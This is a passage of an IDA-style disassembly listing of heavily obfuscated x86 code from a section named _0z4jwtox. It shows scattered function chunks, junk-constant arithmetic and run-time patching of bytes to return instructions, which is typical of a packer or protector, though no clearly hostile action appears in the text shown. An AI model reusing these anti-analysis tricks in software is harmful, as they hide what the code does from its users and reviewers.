0000000A BYTES ; FUNCTION CHUNK AT 0074D8CD SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add eax, ebp push edx jmp loc_746D08 sub_746C84 endp ; --------------------------------------------------------------------------- loc_746C90: ; CODE XREF: _0z4jwtox:loc_75285Aj xchg ebx, [esp] jmp sub_75310B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E6F5 loc_746C98: ; CODE XREF: sub_74E6F5:loc_749F15j ; _0z4jwtox:00749F2Cj rol ecx, 1 add ecx, 44156103h xchg ecx, [esp+0] jmp loc_75696F ; END OF FUNCTION CHUNK FOR sub_74E6F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BE8E loc_746CA8: ; CODE XREF: sub_74BE8E+17j mov [ebp+var_1C], eax push offset loc_745358 jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_74BE8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_746CB5: ; CODE XREF: sub_74C0A0:loc_74E807j add edi, 8E1B74C6h xchg edi, [esp+0] jmp loc_754965 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; =============== S U B R O U T I N E ======================================= sub_746CC3 proc near ; CODE XREF: sub_7474F5+2ADDp ; _0z4jwtox:0074FC0Bj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074762E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074892E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007499A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CDF8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00755905 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756ACD SIZE 00000014 BYTES xchg edx, [esp+0] pop edx push eax mov eax, [ebp-18h] shl eax, 2 cdq add eax, [esp+0] jb loc_74762E jmp loc_74CDF8 sub_746CC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748574 loc_746CDD: ; CODE XREF: sub_748574:loc_754816j jge loc_74EF32 ; END OF FUNCTION CHUNK FOR sub_748574 ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_746CE3: ; CODE XREF: sub_74A7D8+91F2j jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- xor ebp, ecx loc_746CEA: ; CODE XREF: _0z4jwtox:0074F5E2j jmp loc_7500B9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_746CF0 proc near ; CODE XREF: sub_745620+Cp ; sub_7458BE+Ap ... var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax call nullsub_5 loc_746CFE: ; CODE XREF: sub_74870B:loc_748BF1j call sub_747C22 loc_746D03: ; CODE XREF: sub_74A7D8+5E39j jmp nullsub_29 sub_746CF0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C84 loc_746D08: ; CODE XREF: sub_746C84+7j jmp loc_74B497 ; END OF FUNCTION CHUNK FOR sub_746C84 ; =============== S U B R O U T I N E ======================================= sub_746D0D proc near ; CODE XREF: sub_748871+Ap ; _0z4jwtox:00750E26j ; FUNCTION CHUNK AT 0074E133 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi push esi push 0D50387D3h jmp loc_74E133 sub_746D0D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_746D1C: ; CODE XREF: sub_746640:loc_74545Dj jnb loc_749C84 jmp loc_7570AC ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_746D27 proc near ; DATA XREF: sub_74BA42-602Do call sub_746E93 mov ds:dword_41F038, eax lea eax, nullsub_186 mov byte ptr [eax], 0C3h jmp nullsub_186 sub_746D27 endp ; --------------------------------------------------------------------------- push ecx ; START OF FUNCTION CHUNK FOR sub_7501AF loc_746D41: ; CODE XREF: sub_7501AF-691j push 36CD381Ah xor ecx, 4ADCC073h jmp loc_745710 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- loc_746D51: ; DATA XREF: sub_748C98+Co or eax, eax jnz loc_74A008 jmp loc_75766C ; --------------------------------------------------------------------------- locret_746D5E: ; CODE XREF: _0z4jwtox:loc_7546B4j retn ; --------------------------------------------------------------------------- loc_746D5F: ; CODE XREF: _0z4jwtox:0074F6D3j jmp loc_74B65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_746D64: ; CODE XREF: sub_748FA4+13j jmp loc_74AF7A ; END OF FUNCTION CHUNK FOR sub_748FA4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_746D6A: ; CODE XREF: sub_74FE55-754Ej push eax call sub_74C2C9 mov ds:dword_74F3A0, eax cmp ds:dword_74F3A0, 0 jnz loc_7538BD jmp loc_747F62 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; =============== S U B R O U T I N E ======================================= sub_746D87 proc near ; DATA XREF: sub_746869+5E35o push esi push 15487992h pop esi and esi, 5476DB95h call loc_75423F sub_746D87 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_753176 loc_746D99: ; CODE XREF: sub_753176-2365j jmp loc_755B41 ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C733 loc_746D9E: ; CODE XREF: sub_74C733+7j mov edx, [esp+0] call sub_74A250 loc_746DA6: ; CODE XREF: sub_755923+5j jmp loc_7511E4 ; END OF FUNCTION CHUNK FOR sub_74C733 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749184 loc_746DAC: ; CODE XREF: sub_749184:loc_74A289j rol edi, 5 push offset loc_74538C jmp loc_754724 ; END OF FUNCTION CHUNK FOR sub_749184 ; =============== S U B R O U T I N E ======================================= sub_746DB9 proc near ; CODE XREF: _0z4jwtox:0074E6B1j ; sub_75427C+F38p arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx xchg ebp, [esp-4+arg_0] mov ecx, ebp pop ebp call sub_74E203 loc_746DC8: ; CODE XREF: sub_74BED4+78BBj jmp loc_74F00B sub_746DB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_746DCD: ; CODE XREF: _0z4jwtox:007530C4j jmp loc_74DA4D ; --------------------------------------------------------------------------- loc_746DD2: ; CODE XREF: _0z4jwtox:007542ECj jle loc_74F2BC ; =============== S U B R O U T I N E ======================================= sub_746DD8 proc near ; CODE XREF: sub_7564A7+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745228 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00746DE4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074A80C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F28B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FBB6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007534AC SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp loc_74A80C sub_746DD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746DD8 loc_746DE4: ; CODE XREF: sub_746DD8+8DE4j mov eax, [esp+0] push edx push eax jmp loc_756C26 ; END OF FUNCTION CHUNK FOR sub_746DD8 ; --------------------------------------------------------------------------- loc_746DEE: ; CODE XREF: _0z4jwtox:loc_749876j jz loc_748AE2 jmp loc_747305 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_746DF9: ; CODE XREF: sub_74946E+14j jz loc_75083C jmp loc_745861 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_746E05: ; CODE XREF: sub_7543C5-19A9j jmp loc_74E85F ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_746E0A: ; CODE XREF: sub_74C8DA+10j jmp loc_75013F ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_746E0F: ; CODE XREF: sub_74A7D8+577Aj ror eax, 1Dh call sub_74AE46 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_746E17: ; CODE XREF: sub_74C2C9-2268j sub al, 99h mov edx, dword ptr ds:loc_74F377+1 imul byte ptr [edx] cmp al, 0A4h push offset loc_745BE7 jmp loc_75729D ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_746E2D: ; CODE XREF: sub_74721B-F9Ej ; sub_74721B:loc_748B07j call sub_7501AF loc_746E32: ; CODE XREF: sub_74CF82-39E7j jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_74721B ; =============== S U B R O U T I N E ======================================= sub_746E37 proc near ; CODE XREF: _0z4jwtox:0074F766j ; sub_7514BF+19D6p arg_0 = dword ptr 4 arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0074515D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074586C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007482F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748DFF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A7CA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074C994 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074F7DC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0075009F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750B05 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00750C61 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00750FB2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751388 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007527D3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007549D6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075670E SIZE 0000000B BYTES xchg edx, [esp+0] pop edx call sub_75481B pop ecx call sub_74847B loc_746E46: ; CODE XREF: sub_746389+73AAj jmp loc_75670E sub_746E37 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562D5 loc_746E4B: ; CODE XREF: sub_7562D5:loc_753D71j lea eax, sub_7562D5 call sub_748B97 ; END OF FUNCTION CHUNK FOR sub_7562D5 ; START OF FUNCTION CHUNK FOR sub_753FCE loc_746E56: ; CODE XREF: sub_753FCE-8EC5j jmp loc_756018 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752EB8 loc_746E5B: ; CODE XREF: sub_752EB8-C2E3j jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_752EB8 ; --------------------------------------------------------------------------- loc_746E60: ; CODE XREF: _0z4jwtox:loc_7457FDj cmp ebx, 8B98DE60h jmp loc_754160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_746E6B: ; CODE XREF: sub_74CD80:loc_745EB5j mov eax, [ebp-10h] push offset loc_74F5A7 jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- and edi, esi test edi, eax jmp loc_7572ED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_271. PRESS KEYPAD "+" TO EXPAND] dw 3F7Dh dword_746E84 dd 0 ; _0z4jwtox:0074DCB9r ... dword_746E88 dd 0D7915375h, 91B89133h ; _0z4jwtox:007578B3o db 1Bh, 8Dh, 0 ; =============== S U B R O U T I N E ======================================= sub_746E93 proc near ; CODE XREF: sub_74FE55-ADB0j ; sub_74513A+9j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007491D0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074AB46 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074E53F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751E83 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00752F54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075441D SIZE 00000012 BYTES jo loc_7491D0 jmp loc_752F54 sub_746E93 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_746E9E: ; CODE XREF: sub_749306-87Dj add ecx, esi shl eax, 10h jmp loc_7509A0 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751EFF loc_746EA8: ; CODE XREF: sub_751EFF+Bj jnz loc_74DE2C cmp dword ptr [ebp-0Ch], 5 jnz loc_74DE2C mov eax, [ebp+8] jmp loc_7512E4 ; END OF FUNCTION CHUNK FOR sub_751EFF ; --------------------------------------------------------------------------- jz loc_750254 push eax ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_746EC7: ; CODE XREF: sub_74CBCF-C77j jmp sub_747C39 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- loc_746ECC: ; CODE XREF: _0z4jwtox:00745584j jg loc_747262 ; =============== S U B R O U T I N E ======================================= sub_746ED2 proc near ; CODE XREF: sub_747736:loc_7450E2p ; FUNCTION CHUNK AT 00745B16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DD88 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00756B61 SIZE 00000005 BYTES xchg esi, [esp+0] loc_746ED5: ; CODE XREF: sub_74E693:loc_74FC88j pop esi add edx, 917D9404h mov edx, [edx] mov [edx], eax loc_746EE0: ; CODE XREF: _0z4jwtox:00745A00j call sub_75310B mov edx, ds:dword_74B938 jmp loc_745B16 sub_746ED2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_746EF0: ; CODE XREF: sub_752DF2-D790j jnz loc_755C95 jmp loc_753CA1 ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_746EFB: ; CODE XREF: sub_752D11-4A54j jnz loc_7573B3 jmp loc_750D97 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75532F loc_746F06: ; CODE XREF: sub_75532F+FBDj jz loc_747D66 loc_746F0C: ; CODE XREF: sub_75532F:loc_7562E5j add esi, 0DF981CA1h xchg esi, [esp+0] jmp loc_74611D ; END OF FUNCTION CHUNK FOR sub_75532F ; --------------------------------------------------------------------------- jmp ds:dword_41F038 ; --------------------------------------------------------------------------- loc_746F20: ; CODE XREF: _0z4jwtox:loc_754AE4j jz loc_75602B ; START OF FUNCTION CHUNK FOR sub_74D782 loc_746F26: ; CODE XREF: sub_74D782+16Dj jmp loc_754EFB ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- test edi, eax jmp loc_75601F ; --------------------------------------------------------------------------- locret_746F32: ; CODE XREF: _0z4jwtox:loc_75580Bj retn ; =============== S U B R O U T I N E ======================================= sub_746F33 proc near ; CODE XREF: sub_747F9D+8p ; _0z4jwtox:00751092j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00746B6A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074ABE6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00754C1A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0075635C SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push edx push 19399413h loc_746F3D: ; CODE XREF: sub_752520:loc_74C499j xchg ebx, [esp+0] mov edx, ebx pop ebx or edx, 0BC79AA81h jmp loc_74ABE6 sub_746F33 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DF5E loc_746F4E: ; CODE XREF: sub_74DF5E:loc_745F05j add eax, [esp+8+var_8] adc edx, [esp+8+var_4] jnz loc_755CA8 add esp, 8 jmp loc_75745A ; END OF FUNCTION CHUNK FOR sub_74DF5E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_746F64: ; CODE XREF: sub_747C22+EF39j jmp loc_747186 ; END OF FUNCTION CHUNK FOR sub_747C22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_746F6A: ; CODE XREF: sub_747736+101j jmp loc_74BA67 ; END OF FUNCTION CHUNK FOR sub_747736 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746389 loc_746F70: ; CODE XREF: sub_746389+BAC2j jmp loc_74A5F1 ; END OF FUNCTION CHUNK FOR sub_746389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_746F75: ; CODE XREF: sub_74F78B-3BF8j jmp loc_745FC9 ; END OF FUNCTION CHUNK FOR sub_74F78B ; =============== S U B R O U T I N E ======================================= sub_746F7A proc near ; CODE XREF: sub_747156j ; DATA XREF: _0z4jwtox:0074714Co ; FUNCTION CHUNK AT 00747F2C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A61D SIZE 00000005 BYTES call nullsub_262 call sub_755103 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_74A2E7 jmp loc_74A61D sub_746F7A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_746F9D: ; CODE XREF: sub_74D23E+6EB3j push 87E981A6h jmp loc_74D095 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ror ebp, 1Fh jmp sub_747622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_746FAF: ; CODE XREF: sub_7474B9:loc_7520C8j ; _0z4jwtox:007520D8j add ebx, 5AD5FEC1h xchg ebx, [esp+8+var_8] jmp sub_754A3D ; END OF FUNCTION CHUNK FOR sub_7474B9 ; =============== S U B R O U T I N E ======================================= sub_746FBD proc near ; CODE XREF: _0z4jwtox:0074AF6Bp ; _0z4jwtox:00757872j ; FUNCTION CHUNK AT 0074EBCE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074EE5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007562D0 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx push 0C99164B9h pop edx or edx, 341B236Bh jmp loc_74EE5D sub_746FBD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7470E8 loc_746FD3: ; CODE XREF: sub_7470E8+E077j add esi, 26390006h xchg esi, [esp+0] jmp loc_746959 ; END OF FUNCTION CHUNK FOR sub_7470E8 ; --------------------------------------------------------------------------- mov eax, [esp] push eax jmp loc_7528B5 ; --------------------------------------------------------------------------- loc_746FEA: ; DATA XREF: sub_757314-9DF3o mov eax, [ebp-14h] call sub_753AAD ; START OF FUNCTION CHUNK FOR sub_75582A loc_746FF2: ; CODE XREF: sub_75582A+Fj mov edx, [ebp-18h] mov [edx], eax ; END OF FUNCTION CHUNK FOR sub_75582A ; START OF FUNCTION CHUNK FOR sub_747C22 loc_746FF7: ; CODE XREF: sub_747C22-1216j ; _0z4jwtox:0074919Fj ... add dword ptr [ebp-18h], 4 inc dword ptr [ebp-20h] jmp loc_7554E4 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_747003 proc near ; CODE XREF: sub_7475CB+3B52p ; _0z4jwtox:0074F55Bj ; FUNCTION CHUNK AT 00749110 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add eax, esi pop esi mov eax, [eax] mov byte ptr [ebp+eax-100h], 0 push esi push offset loc_756085 jmp loc_749110 sub_747003 endp ; --------------------------------------------------------------------------- pop ebx jmp sub_749C06 ; --------------------------------------------------------------------------- loc_747025: ; CODE XREF: _0z4jwtox:0075606Aj mov [ebx], eax pop ebx push offset sub_74F83E jmp locret_74823C ; =============== S U B R O U T I N E ======================================= sub_747032 proc near ; CODE XREF: _0z4jwtox:00745D77j ; sub_74E11E-388Dp ; FUNCTION CHUNK AT 00755590 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx lea eax, sub_756974 mov byte ptr [eax], 0C3h jmp loc_755590 sub_747032 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A99B loc_747044: ; CODE XREF: sub_74A99B+Bj add esi, 789AF8ACh and esi, 2789E613h add esi, 0F96C90F4h call sub_74549C ; END OF FUNCTION CHUNK FOR sub_74A99B ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_74705B: ; CODE XREF: sub_74B1F1:loc_754613j push esi mov esi, ecx xchg esi, [esp+4+var_4] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov al, [eax] jnb loc_7496D6 jmp loc_754269 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F226 loc_747074: ; CODE XREF: sub_74F226:loc_75160Bj mov [ebp+var_14], 4 mov eax, [ebp+var_14] push offset loc_74BE96 jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_74F226 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_747088: ; CODE XREF: sub_752D11-5608j rol esi, 1Eh add esi, 3A64C1A8h mov [esi], eax push offset loc_74D2B0 jmp loc_7485A7 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- loc_74709D: ; CODE XREF: _0z4jwtox:loc_75418Cj mov byte ptr [eax], 0C3h jmp loc_7521F8 ; --------------------------------------------------------------------------- call sub_7507C6 loc_7470AA: ; CODE XREF: _0z4jwtox:0074CD60j call sub_753D0E mov eax, 5AB1337Ah push eax push 11752BAFh pop eax jmp loc_752DA4 ; --------------------------------------------------------------------------- loc_7470C0: ; CODE XREF: _0z4jwtox:loc_756D73j ; DATA XREF: sub_757151-3E8o push edx call sub_753D0E push 32A2D082h loc_7470CB: ; CODE XREF: _0z4jwtox:00751596j xchg ecx, [esp] mov eax, ecx pop ecx rol eax, 1Ah jmp loc_74E743 ; --------------------------------------------------------------------------- sbb ecx, edx xchg edi, [eax] jmp sub_752B45 ; --------------------------------------------------------------------------- loc_7470E2: ; CODE XREF: _0z4jwtox:0074500Dj add edx, 0FD13DC53h ; =============== S U B R O U T I N E ======================================= sub_7470E8 proc near ; CODE XREF: sub_74AAC1+3CE0p ; FUNCTION CHUNK AT 00746959 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746FD3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074E4D0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00755153 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007577C0 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push 8FB8D6F8h pop esi or esi, 8CBC70CCh add esi, 3461F853h cmp esi, 0E75145CEh jmp loc_7577C0 sub_7470E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_747109 proc near ; CODE XREF: _0z4jwtox:00753A53p ; _0z4jwtox:00757911j ; FUNCTION CHUNK AT 00753111 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi lea eax, loc_74A0DE mov byte ptr [eax], 0C3h jmp loc_753111 sub_747109 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jl loc_750161 jmp loc_74DAA8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C1D8 loc_747127: ; CODE XREF: sub_74C1D8-4D87j jmp loc_74CEB6 ; END OF FUNCTION CHUNK FOR sub_74C1D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746556 loc_74712C: ; CODE XREF: sub_746556+C256j xor esi, 409805C4h xor eax, esi pop esi sub eax, 4B24A958h ror eax, 13h jmp loc_7456E3 ; END OF FUNCTION CHUNK FOR sub_746556 ; --------------------------------------------------------------------------- loc_747143: ; CODE XREF: _0z4jwtox:00756736j push ebp mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp] push offset sub_746F7A jmp loc_74547B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_747156 proc near ; CODE XREF: sub_74504D:loc_750104j retn sub_747156 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DF5E loc_747157: ; CODE XREF: sub_74DF5E+7D52j jmp nullsub_289 ; END OF FUNCTION CHUNK FOR sub_74DF5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_74715C: ; CODE XREF: _0z4jwtox:loc_748E17j ; sub_74B079+523j jmp loc_74AC07 ; END OF FUNCTION CHUNK FOR sub_74B079 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B719 loc_747161: ; CODE XREF: sub_74B719-1BDAj jmp nullsub_166 ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_747166: ; CODE XREF: sub_75364C-E37Bj jmp loc_74A035 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74716B: ; CODE XREF: sub_7473D1+10j ja loc_74F9C9 jmp loc_74F649 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747176: ; CODE XREF: sub_747C22:loc_74A476j add eax, [ebp-0Ch] mov [ebp-1Ch], eax mov eax, [ebp-1Ch] mov eax, [eax] jmp loc_753975 ; --------------------------------------------------------------------------- loc_747186: ; CODE XREF: sub_747C22:loc_746F64j jbe loc_746260 jmp loc_75696A ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_747191: ; CODE XREF: _0z4jwtox:00745AA0j xor ebx, 0AEDA46A2h ; =============== S U B R O U T I N E ======================================= sub_747197 proc near ; CODE XREF: _0z4jwtox:00748854p xchg edi, [esp+0] pop edi sub_747197 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_750C2D loc_74719B: ; CODE XREF: sub_750C2D:loc_746102j push 0CFE72084h pop esi jmp loc_7495C9 ; END OF FUNCTION CHUNK FOR sub_750C2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75079B loc_7471A6: ; CODE XREF: sub_75079B:loc_7507A7j add esi, 77E92336h or esi, 0DAEB3914h and esi, 36ED5F52h add esi, 0E9879E51h xchg esi, [esp+0] jmp loc_74FBB6 ; END OF FUNCTION CHUNK FOR sub_75079B ; =============== S U B R O U T I N E ======================================= sub_7471C6 proc near ; CODE XREF: sub_750638+4CE2p ; _0z4jwtox:007574F7j xchg eax, [esp+0] pop eax mov edx, [ebp-104h] mov dl, [edx] mov [ebp+eax-100h], dl push offset loc_74F52D jmp nullsub_30 sub_7471C6 endp ; =============== S U B R O U T I N E ======================================= sub_7471E3 proc near ; DATA XREF: sub_749980+B6ECo mov dword ptr [ebp-20h], 0FFFFFFFFh sub_7471E3 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_746640 loc_7471EA: ; CODE XREF: sub_746640+364Aj jno loc_75567C cmp dword ptr [ebp-20h], 0 jge loc_74FB54 jmp loc_75410B ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_7471FF: ; CODE XREF: sub_75143A:loc_74915Cj jz loc_755AA9 jmp loc_755BDF ; END OF FUNCTION CHUNK FOR sub_75143A ; =============== S U B R O U T I N E ======================================= sub_74720A proc near ; CODE XREF: sub_74AAC1:loc_74AC73j ; _0z4jwtox:0075011Dj ... xchg ecx, [esp+0] pop ecx pop ecx pop ebp retn sub_74720A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_747211: ; CODE XREF: sub_749010:loc_74EC52j jmp loc_75087B ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7558D0 loc_747216: ; CODE XREF: sub_7558D0-E617j jmp loc_7569B2 ; END OF FUNCTION CHUNK FOR sub_7558D0 ; =============== S U B R O U T I N E ======================================= sub_74721B proc near ; CODE XREF: sub_74F15D-4D62p ; _0z4jwtox:loc_74A969j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074626A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00746E2D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00748B07 SIZE 0000000B BYTES ; FUNCTION 